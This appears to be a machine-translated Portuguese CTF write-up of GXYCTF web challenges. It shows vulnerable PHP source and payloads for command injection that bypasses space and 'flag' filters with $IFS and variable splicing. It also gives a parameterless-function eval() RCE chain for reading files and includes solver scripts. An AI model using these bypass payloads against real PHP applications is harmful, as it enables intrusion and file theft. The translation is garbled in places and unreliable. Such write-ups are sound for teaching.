reprodução GXYCTF
pingpingping
Abra a página:
obviamente comando de execução. Incoming GET ip = 127.0.0.1 | ls
tentar ler um gato, encontrou o espaço de filtração pode ser usado $IFS$9
, $IFS
ao desvio, ( ${IFS}
não, suspensórios são filtrados), leia o arquivo bandeira, também encontrado na bandeira do filtro , tente * para ignorar, também encontrado um filtro, leia sobre index.php, o código é a seguinte:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "";
print_r($a);
}
?>
Por causa da bandeira ter sido filtrada, de modo a usar o splicing variável, e para alterar a ordem.
payload: ?ip=127.0.0.1;e=g;cat$IFSfla$e.php
O estranho é que eu não tinha nada em BUUCTF sucesso reprodução
proibir matryoshka
Abra o tópico e encontrou uma divulgação código fonte .git, uso githack baixado, encontrado fonte index.php, conforme segue:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
Podemos ver filtragem muito rigorosos:
- A
data://
,filter://
,phar://
,php://
quatro filtragem de protocolo, o arquivo pseudo-protocolo não pode ser lido. - funções necessárias a (), mas não permite o uso de um ( 'abc')
- A maioria das funções são desactivadas
eval($_GET['exp'])
Um típico CRE não-paramétrica.
Mas porque a maioria das funções da proibição, para que possamos arquivos somente leitura.
Queremos ler o arquivo em duas etapas: diretório de leitura e ler arquivos
para ler o diretório
primeiro é o mais básico scandir()
, a função retorna uma matriz do diretório especificado de arquivos e diretórios.
Em seguida print_r()
, esta função pode ser a saída para fora do conteúdo da matriz. (Matriz var_dump vai armazenar o tipo de dados, o comprimento, em conjunto saída conteúdo).
Uma vez que não pode ocorrer uma ( 'ABC'), não é possível directamente print_r (scandir () '' );, construído utilizando uma função necessária .
para.
localeconv()
Esta função retorna uma matriz de informações incluem números locais e formato de moeda, o primeiro item da matriz é .
.
current()
A função do elemento de corrente na matriz retornada (POS () é um alias).
Então, nós construção print_r(scandir(current(localeconv())));
pode ser lido para o diretório.
(Em geral, usamos getcwd()
para obter o diretório atual, dirname()
salta para cima, chdir()
modificar o diretório atual)
para ler o arquivo de
uso read_file()
e highlight_file()
, show_source()
como função e compreende um arquivo de alias para ler o arquivo
usando a seguinte função lê o documento seguinte ou anterior.
Utilizando array_reverse()
uma matriz de, inverso array_filp
do valor de chave para a matriz, o valor torna-se fundamental.
Gangster wp ver que há um método de leitura: session_id (session_start ())
usando o session_id () permite php para ler o cookie nos propusemos (sessão não utilizada por padrão para a adição de session_start () permite começar a usar sessão php)
efeito é mostrado :
: carga ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
artigo de referência:
https://www.cnblogs.com/wangtanzhi/p/12260986.html#autoid-0-1-0
https://skysec.top/2019/03/29/PHP-Parametric-Function -RCE / #% E4% BB% 80% E4% B9% 88% E6% 98% AF% E6% 97% A0% E5% 8F% 82% E6% 95% B0% E5% 87% BD% E6% 95 % B0RCE
babyupload
vulnerabilidade upload de arquivos.
É simplesmente .htaccess vulnerabilidade ficheiro de análise.
mente mais forte
Também é muito simples, é de apresentar uma operações de script, antes bugku feito um problema semelhante.
Script é a seguinte:
# -*- coding: UTF-8 -*-
#GXYCTF strongest mind脚本
import requests
import re
url = "http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php"
try:
s = requests.Session()
source = s.get(url)
r = re.search(r"(\d+)+[ ][\+\-][ ](\d+)", source.text).group()
r = r.replace(" ", "")
result = eval(r)
print result
data = {"answer": result}
a = s.post(url, data=data)
for i in range(0,1000):
r = re.search(r"(\d+)+[ ][\+\-][ ](\d+)", a.text).group()
r = r.replace(" ", "")
result = eval(r)
print result
data = {"answer": result}
a = s.post(url,data=data)
if(i==999):
print a.text
except:
print "something wrong"
O roteiro oficial é a seguinte:
#GXYCTF strongest mind 官方exp
from requests import *
import re
s = session()
a = s.get("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php", data = {"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post("http://db832b95-b18e-4dc3-bf31-3b812c2d35a5.node3.buuoj.cn/index.php", data = {"answer" : c})
print(a.text)
BUUCTF ainda existem vários problemas de injeção SQL, depois de ter tempo para escrever